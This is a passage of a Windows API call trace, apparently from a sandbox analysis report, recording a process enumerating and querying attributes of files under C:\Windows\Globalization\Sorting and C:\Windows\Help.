	[0086.758] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5191486d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5191486d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x726ee5a6, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x25b344, dwReserved0=0x0, dwReserved1=0x0, cFileName="SortVistaCompat.nls", cAlternateFileName="")) returned 1
	[0086.758] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.758] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.758] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls"), fInfoLevelId=0x0, lpFileInformation=0x123a71d8 | out: lpFileInformation=0x123a71d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51451ccd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x51451ccd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x72656032, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x2cec04)) returned 1
	[0086.758] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\Sorting\\SortServer2003Compat.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortserver2003compat.nls"), fInfoLevelId=0x0, lpFileInformation=0x123a7228 | out: lpFileInformation=0x123a7228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5168d140, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5168d140, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x7262fed5, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0xf43fc)) returned 1
	[0086.758] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\Sorting\\SortServer2008Compat.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortserver2008compat.nls"), fInfoLevelId=0x0, lpFileInformation=0x123a7278 | out: lpFileInformation=0x123a7278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51797acb, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x51797acb, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x727acc77, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x25c704)) returned 1
	[0086.759] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\Sorting\\SortVistaCompat.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortvistacompat.nls"), fInfoLevelId=0x0, lpFileInformation=0x123a72c8 | out: lpFileInformation=0x123a72c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5191486d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5191486d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x726ee5a6, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x25b344)) returned 1
	[0086.760] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help" (normalized: "c:\\windows\\help"), fInfoLevelId=0x0, lpFileInformation=0x123a7318 | out: lpFileInformation=0x123a7318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.760] CreateFileW (lpFileName="C:\\Windows\\Help" (normalized: "c:\\windows\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.760] FindFirstFileW (in: lpFileName="C:\\Windows\\Help\\*", lpFindFileData=0x124e79e0 | out: lpFindFileData=0x124e79e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.761] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.761] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Corporate", cAlternateFileName="CORPOR~1")) returned 1
	[0086.761] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0086.761] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368d9333, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa1a9944a, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x368d9333, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mui", cAlternateFileName="")) returned 1
	[0086.761] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OEM", cAlternateFileName="")) returned 1
	[0086.761] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0086.761] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7a00 | out: lpFindFileData=0x124e7a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.761] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.761] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Corporate" (normalized: "c:\\windows\\help\\corporate"), fInfoLevelId=0x0, lpFileInformation=0x123a74f8 | out: lpFileInformation=0x123a74f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.761] CreateFileW (lpFileName="C:\\Windows\\Help\\Corporate" (normalized: "c:\\windows\\help\\corporate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.761] FindFirstFileW (in: lpFileName="C:\\Windows\\Help\\Corporate\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.761] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.761] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.761] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.762] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help" (normalized: "c:\\windows\\help\\help"), fInfoLevelId=0x0, lpFileInformation=0x123a7548 | out: lpFileInformation=0x123a7548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.762] CreateFileW (lpFileName="C:\\Windows\\Help\\Help" (normalized: "c:\\windows\\help\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.762] FindFirstFileW (in: lpFileName="C:\\Windows\\Help\\Help\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.762] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.762] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1d941922, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0086.762] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e799c | out: lpFindFileData=0x124e799c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.762] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.762] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US" (normalized: "c:\\windows\\help\\help\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x123a75e8 | out: lpFileInformation=0x123a75e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1d941922, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.762] CreateFileW (lpFileName="C:\\Windows\\Help\\Help\\en-US" (normalized: "c:\\windows\\help\\help\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.762] FindFirstFileW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1d941922, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1d941922, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help.h1c", cAlternateFileName="")) returned 1
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help.H1T", cAlternateFileName="")) returned 1
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_AssetId.H1K", cAlternateFileName="")) returned 1
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_BestBet.H1K", cAlternateFileName="")) returned 1
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_LinkTerm.H1K", cAlternateFileName="")) returned 1
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_SubjectTerm.H1K", cAlternateFileName="")) returned 1
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x987d, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.H1S", cAlternateFileName="")) returned 1
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xad902759, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwrds.stp", cAlternateFileName="")) returned 1
	[0086.764] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.764] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.765] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\Help.H1T" (normalized: "c:\\windows\\help\\help\\en-us\\help.h1t"), fInfoLevelId=0x0, lpFileInformation=0x123a78b8 | out: lpFileInformation=0x123a78b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x185)) returned 1
	[0086.766] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\Help.h1c" (normalized: "c:\\windows\\help\\help\\en-us\\help.h1c"), fInfoLevelId=0x0, lpFileInformation=0x123a7908 | out: lpFileInformation=0x123a7908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e2)) returned 1
	[0086.766] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\Help_AssetId.H1K" (normalized: "c:\\windows\\help\\help\\en-us\\help_assetid.h1k"), fInfoLevelId=0x0, lpFileInformation=0x123a7958 | out: lpFileInformation=0x123a7958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a)) returned 1
	[0086.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\Help_BestBet.H1K" (normalized: "c:\\windows\\help\\help\\en-us\\help_bestbet.h1k"), fInfoLevelId=0x0, lpFileInformation=0x123a79a8 | out: lpFileInformation=0x123a79a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a)) returned 1
	[0086.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\Help_LinkTerm.H1K" (normalized: "c:\\windows\\help\\help\\en-us\\help_linkterm.h1k"), fInfoLevelId=0x0, lpFileInformation=0x123a79f8 | out: lpFileInformation=0x123a79f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b)) returned 1
	[0086.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\Help_SubjectTerm.H1K" (normalized: "c:\\windows\\help\\help\\en-us\\help_subjectterm.h1k"), fInfoLevelId=0x0, lpFileInformation=0x123a7a48 | out: lpFileInformation=0x123a7a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e)) returned 1
	[0086.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\resources.H1S" (normalized: "c:\\windows\\help\\help\\en-us\\resources.h1s"), fInfoLevelId=0x0, lpFileInformation=0x123a7a98 | out: lpFileInformation=0x123a7a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x987d)) returned 1
